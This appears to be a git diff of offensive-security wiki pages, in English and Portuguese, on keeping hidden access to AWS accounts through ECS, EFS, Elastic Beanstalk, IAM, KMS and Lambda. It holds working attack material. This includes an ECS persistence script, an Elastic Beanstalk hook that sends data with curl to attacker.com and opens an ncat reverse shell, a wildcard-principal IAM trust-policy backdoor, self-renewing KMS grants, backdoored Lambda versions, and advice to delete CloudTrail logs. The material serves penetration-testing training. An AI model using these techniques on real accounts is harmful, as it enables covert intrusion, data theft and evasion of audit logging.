Steps to reproduce in us-east-1:
|
||||
```bash
|
||||
# 1) Cluster (create if missing)
|
||||
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
|
||||
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
|
||||
|
||||
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
|
||||
cat > /tmp/ht-persist-td.json << 'JSON'
|
||||
{
|
||||
"family": "ht-persist",
|
||||
"networkMode": "awsvpc",
|
||||
"requiresCompatibilities": ["FARGATE"],
|
||||
"cpu": "256",
|
||||
"memory": "512",
|
||||
"containerDefinitions": [
|
||||
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
|
||||
"command": ["/bin/sh","-c","sleep 864000"]}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
|
||||
# 3) Create service (use default VPC public subnet + default SG)
|
||||
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
|
||||
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
|
||||
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
|
||||
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
|
||||
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
|
||||
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
|
||||
|
||||
# 4) Get running task ARN
|
||||
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
|
||||
|
||||
# 5) Enable scale-in protection for 24h and verify
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
|
||||
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
|
||||
|
||||
# 6) Try to scale service to 0 (task should persist)
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
|
||||
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
|
||||
|
||||
# Optional: rolling deployment blocked by protection
|
||||
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
|
||||
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
|
||||
|
||||
# 7) Cleanup
|
||||
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
|
||||
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
|
||||
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
|
||||
aws ecs deregister-task-definition --task-definition ht-persist || true
|
||||
```
|
||||
Impacto: Uma task protegida permanece RUNNING apesar de desiredCount=0 e bloqueia substituições durante novas implantações, permitindo persistência furtiva de longa duração dentro do serviço ECS.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify Resource Policy / Security Groups
|
||||
|
||||
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
|
||||
|
||||
### Create Access Point
|
||||
|
||||
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - EFS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EFS
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-efs-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modificar Resource Policy / Security Groups
|
||||
|
||||
Ao modificar a **resource policy and/or security groups**, você pode tentar manter seu acesso no sistema de arquivos.
|
||||
|
||||
### Criar Access Point
|
||||
|
||||
Você pode **create an access point** (com root access para `/`) acessível a partir de um serviço onde você tenha implementado **other persistence** para manter acesso privilegiado ao sistema de arquivos.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,81 @@
|
||||
# AWS - Elastic Beanstalk Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence in Instance
|
||||
|
||||
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor in Version
|
||||
|
||||
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
|
||||
|
||||
### New backdoored version
|
||||
|
||||
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
|
||||
|
||||
### Abusing Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,75 +0,0 @@
|
||||
# AWS - Elastic Beanstalk Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Elastic Beanstalk
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-elastic-beanstalk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência na Instância
|
||||
|
||||
Para manter persistência dentro da conta AWS, algum **mecanismo de persistência poderia ser introduzido dentro da instância** (cron job, ssh key...) para que o atacante possa acessá-la e roubar IAM role **credentials from the metadata service**.
|
||||
|
||||
### Backdoor na Versão
|
||||
|
||||
Um atacante poderia inserir um backdoor no código dentro do S3 repo para que ele sempre execute o backdoor e o código esperado.
|
||||
|
||||
### Nova versão backdoored
|
||||
|
||||
Em vez de alterar o código na versão atual, o atacante poderia implantar uma nova versão backdoored da aplicação.
|
||||
|
||||
### Abusando de Custom Resource Lifecycle Hooks
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. Um atacante poderia **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
|
||||
```bash
|
||||
# Attacker creates a script that exfiltrates data and maintains access
|
||||
echo '#!/bin/bash
|
||||
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
|
||||
gzip /tmp/data.csv
|
||||
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
|
||||
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker uploads the script to an S3 bucket
|
||||
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
|
||||
|
||||
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
|
||||
echo 'Resources:
|
||||
AWSEBAutoScalingGroup:
|
||||
Metadata:
|
||||
AWS::ElasticBeanstalk::Ext:
|
||||
TriggerConfiguration:
|
||||
triggers:
|
||||
- name: stealthy-lifecycle-hook
|
||||
events:
|
||||
- "autoscaling:EC2_INSTANCE_LAUNCH"
|
||||
- "autoscaling:EC2_INSTANCE_TERMINATE"
|
||||
target:
|
||||
ref: "AWS::ElasticBeanstalk::Environment"
|
||||
arn:
|
||||
Fn::GetAtt:
|
||||
- "AWS::ElasticBeanstalk::Environment"
|
||||
- "Arn"
|
||||
stealthyLifecycleHook:
|
||||
Type: AWS::AutoScaling::LifecycleHook
|
||||
Properties:
|
||||
AutoScalingGroupName:
|
||||
Ref: AWSEBAutoScalingGroup
|
||||
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
|
||||
NotificationTargetARN:
|
||||
Ref: stealthy-lifecycle-hook
|
||||
RoleARN:
|
||||
Fn::GetAtt:
|
||||
- AWSEBAutoScalingGroup
|
||||
- Arn' > stealthy_lifecycle_hook.yaml
|
||||
|
||||
# Attacker applies the new environment configuration
|
||||
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,53 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
For more information access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Common IAM Persistence
|
||||
|
||||
- Create a user
|
||||
- Add a controlled user to a privileged group
|
||||
- Create access keys (of the new user or of all users)
|
||||
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
|
||||
- Disable MFA / Add you own MFA device
|
||||
- Create a Role Chain Juggling situation (more on this below in STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
|
||||
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Backdoor Policy Version
|
||||
|
||||
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
|
||||
|
||||
### Backdoor / Create Identity Provider
|
||||
|
||||
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
# AWS - IAM Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM
|
||||
|
||||
Para mais informações acesse:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência comum do IAM
|
||||
|
||||
- Criar um usuário
|
||||
- Adicionar um usuário controlado a um grupo privilegiado
|
||||
- Criar chaves de acesso (do novo usuário ou de todos os usuários)
|
||||
- Conceder permissões extras a usuários/grupos controlados (políticas anexadas ou políticas inline)
|
||||
- Desabilitar MFA / Adicionar seu próprio dispositivo MFA
|
||||
- Criar uma situação de Role Chain Juggling (mais sobre isso abaixo em STS persistence)
|
||||
|
||||
### Backdoor Role Trust Policies
|
||||
|
||||
Você poderia inserir um backdoor em uma trust policy para que ela possa ser assumida por um recurso externo controlado por você (ou por todos):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": ["*", "arn:aws:iam::123213123123:root"]
|
||||
},
|
||||
"Action": "sts:AssumeRole"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Versão Backdoor da policy
|
||||
|
||||
Conceda permissões de Administrator a uma policy que não esteja na sua versão mais recente (a última versão deve parecer legítima), então atribua essa versão da policy a um usuário/grupo controlado.
|
||||
|
||||
### Backdoor / Criar Provedor de Identidade
|
||||
|
||||
Se a conta já confia em um provedor de identidade comum (como Github), as condições da relação de confiança podem ser aumentadas para que o atacante possa abusar delas.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,43 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For mor information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant acces via KMS policies
|
||||
|
||||
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
|
||||
|
||||
### Eternal Grant
|
||||
|
||||
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
|
||||
|
||||
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
|
||||
|
||||
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
|
||||
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - KMS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Conceder acesso via políticas do KMS
|
||||
|
||||
Um atacante pode usar a permissão **`kms:PutKeyPolicy`** para **conceder acesso** a uma chave a um usuário sob seu controle ou até a uma conta externa. Confira a [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) para mais informações.
|
||||
|
||||
### Grant Eterno
|
||||
|
||||
Grants são outra forma de dar a um principal algumas permissões sobre uma chave específica. É possível criar um grant que permite a um usuário criar grants. Além disso, um usuário pode ter vários grants (até idênticos) sobre a mesma chave.
|
||||
|
||||
Portanto, é possível que um usuário tenha 10 grants com todas as permissões. O atacante deve monitorar isso constantemente. Se, em algum momento, 1 grant for removido, outros 10 deverão ser gerados.
|
||||
|
||||
(Estamos usando 10 e não 2 para conseguir detectar que um grant foi removido enquanto o usuário ainda possui algum grant)
|
||||
```bash
|
||||
# To generate grants, generate 10 like this one
|
||||
aws kms create-grant \
|
||||
--key-id <key-id> \
|
||||
--grantee-principal <user_arn> \
|
||||
--operations "CreateGrant" "Decrypt"
|
||||
|
||||
# To monitor grants
|
||||
aws kms list-grants --key-id <key-id>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Um grant pode conceder permissões apenas a partir disto: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,26 +1,26 @@
|
||||
# AWS - Persistência em Lambda
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
Para mais informações, consulte:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência em Lambda Layer
|
||||
### Lambda Layer Persistence
|
||||
|
||||
É possível **introduzir/backdoor uma layer para executar arbitrary code** quando a Lambda é executada de forma furtiva:
|
||||
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistência em Lambda Extension
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusando de Lambda Layers também é possível abusar de extensions e persistir na Lambda, além de roubar e modificar requests.
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
@@ -28,15 +28,15 @@ aws-abusing-lambda-extensions.md
|
||||
|
||||
### Via resource policies
|
||||
|
||||
É possível conceder acesso a diferentes ações do Lambda (como invoke ou update code) para contas externas:
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versões, Aliases & Weights
|
||||
### Versions, Aliases & Weights
|
||||
|
||||
Uma Lambda pode ter **different versions** (com different code em cada versão).\
|
||||
Então, você pode criar **different aliases apontando para different versions** da função e definir diferentes weights para cada um.\
|
||||
Dessa forma, um atacante poderia criar uma **backdoored version 1** e uma **version 2 com apenas o legit code** e **executar somente a version 1 em 1%** das requests para permanecer furtivo.
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -44,90 +44,25 @@ Dessa forma, um atacante poderia criar uma **backdoored version 1** e uma **vers
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
O fato de você poder fazer **lambda functions rodarem quando algo acontece ou quando passa um intervalo de tempo** torna o Lambda uma forma comum de obter persistência e evitar detecção.\
|
||||
Aqui estão algumas ideias para tornar sua **presença na AWS mais furtiva criando lambdas**.
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
|
||||
- Toda vez que um novo user é criado, a Lambda gera uma nova user key e envia para o atacante.
|
||||
- Toda vez que uma nova role é criada, a Lambda concede permissões de assume role para usuários comprometidos.
|
||||
- Toda vez que novos cloudtrail logs são gerados, deletar/alterar eles
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
|
||||
### RCE abusando de AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
Abuse da variável de ambiente `AWS_LAMBDA_EXEC_WRAPPER` para executar um wrapper controlado pelo atacante antes do runtime/handler iniciar. Entregue o wrapper via um Lambda Layer em `/opt/bin/htwrap`, configure `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` e então invoque a função. O wrapper roda dentro do processo do runtime da função, herda a execution role da função e, por fim, faz `exec` do runtime real para que o handler original ainda seja executado normalmente.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
Abuse de destinations assíncronas do Lambda junto com a configuração de Recursion para fazer uma função se re-invocar continuamente sem um agendador externo (sem EventBridge, cron, etc.). Por padrão, o Lambda termina loops recursivos, mas configurando recursion para Allow reativa-os. Destinations entregam do lado do serviço para invokes async, então um único invoke seed cria um canal stealthy de heartbeat/backdoor sem necessidade de código. Opcionalmente throttle com reserved concurrency para manter o ruído baixo.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
Crie uma versão escondida da Lambda com lógica do atacante e aplique uma resource-based policy com escopo para aquela versão específica (ou alias) usando o parâmetro `--qualifier` em `lambda add-permission`. Conceda apenas `lambda:InvokeFunction` sobre `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` a um principal atacante. Invocações normais via nome da função ou alias primário permanecem inalteradas, enquanto o atacante pode invocar diretamente o ARN da versão backdoored.
|
||||
|
||||
Isto é mais furtivo do que expor um Function URL e não altera o alias de tráfego primário.
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
### Freezing AWS Lambda Runtimes
|
||||
|
||||
Um atacante que possui permissions lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, e lambda:GetRuntimeManagementConfig pode modificar a runtime management configuration de uma função. Este ataque é especialmente efetivo quando o objetivo é manter uma função Lambda em uma versão de runtime vulnerável ou preservar compatibilidade com layers maliciosas que podem ser incompatíveis com runtimes mais novos.
|
||||
|
||||
O atacante modifica a runtime management configuration para fixar a versão do runtime:
|
||||
```bash
|
||||
# Invoke the function to generate runtime logs
|
||||
aws lambda invoke \
|
||||
--function-name $TARGET_FN \
|
||||
--payload '{}' \
|
||||
--region us-east-1 /tmp/ping.json
|
||||
|
||||
sleep 5
|
||||
|
||||
# Freeze automatic runtime updates on function update
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on FunctionUpdate \
|
||||
--region us-east-1
|
||||
```
|
||||
Verifique a configuração aplicada:
|
||||
```bash
|
||||
aws lambda get-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--region us-east-1
|
||||
```
|
||||
Opcional: Fixar em uma versão específica do runtime
|
||||
```bash
|
||||
# Extract Runtime Version ARN from INIT_START logs
|
||||
RUNTIME_ARN=$(aws logs filter-log-events \
|
||||
--log-group-name /aws/lambda/$TARGET_FN \
|
||||
--filter-pattern "INIT_START" \
|
||||
--query 'events[0].message' \
|
||||
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
|
||||
```
|
||||
Fixar em uma versão específica do runtime:
|
||||
```bash
|
||||
aws lambda put-runtime-management-config \
|
||||
--function-name $TARGET_FN \
|
||||
--update-runtime-on Manual \
|
||||
--runtime-version-arn $RUNTIME_ARN \
|
||||
--region us-east-1
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,42 +1,46 @@
|
||||
# AWS - Abusando de Extensões Lambda
|
||||
# AWS - Abusing Lambda Extensions
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Extensões Lambda
|
||||
## Lambda Extensions
|
||||
|
||||
As extensões Lambda aprimoram funções integrando-se a várias **ferramentas de monitoramento, observabilidade, segurança e governança**. Essas extensões, adicionadas via [.zip archives usando Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluídas em [implantações de imagens de contêiner](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operam em dois modos: **interno** e **externo**.
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
|
||||
- **Extensões internas** se fundem com o processo de runtime, manipulando seu início usando **variáveis de ambiente específicas de linguagem** e **scripts wrapper**. Essa personalização se aplica a uma variedade de runtimes, incluindo **Java Correto 8 e 11, Node.js 10 e 12, e .NET Core 3.1**.
|
||||
- **Extensões externas** funcionam como processos separados, mantendo a operação alinhada com o ciclo de vida da função Lambda. Elas são compatíveis com vários runtimes como **Node.js 10 e 12, Python 3.7 e 3.8, Ruby 2.5 e 2.7, Java Corretto 8 e 11, .NET Core 3.1**, e **runtimes personalizados**.
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
|
||||
Para mais informações sobre [**como as extensões lambda funcionam, consulte a documentação**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### Extensão Externa para Persistência, Roubo de Requisições e Modificação de Requisições
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
|
||||
Este é um resumo da técnica proposta neste post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
Foi descoberto que o kernel Linux padrão no ambiente de runtime Lambda é compilado com chamadas de sistema “**process_vm_readv**” e “**process_vm_writev**”. E todos os processos são executados com o mesmo ID de usuário, mesmo o novo processo criado para a extensão externa. **Isso significa que uma extensão externa tem acesso total de leitura e escrita à memória heap do Rapid, por design.**
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
|
||||
Além disso, enquanto as extensões Lambda têm a capacidade de **se inscrever em eventos de invocação**, a AWS não revela os dados brutos para essas extensões. Isso garante que **as extensões não podem acessar informações sensíveis** transmitidas via a requisição HTTP.
|
||||
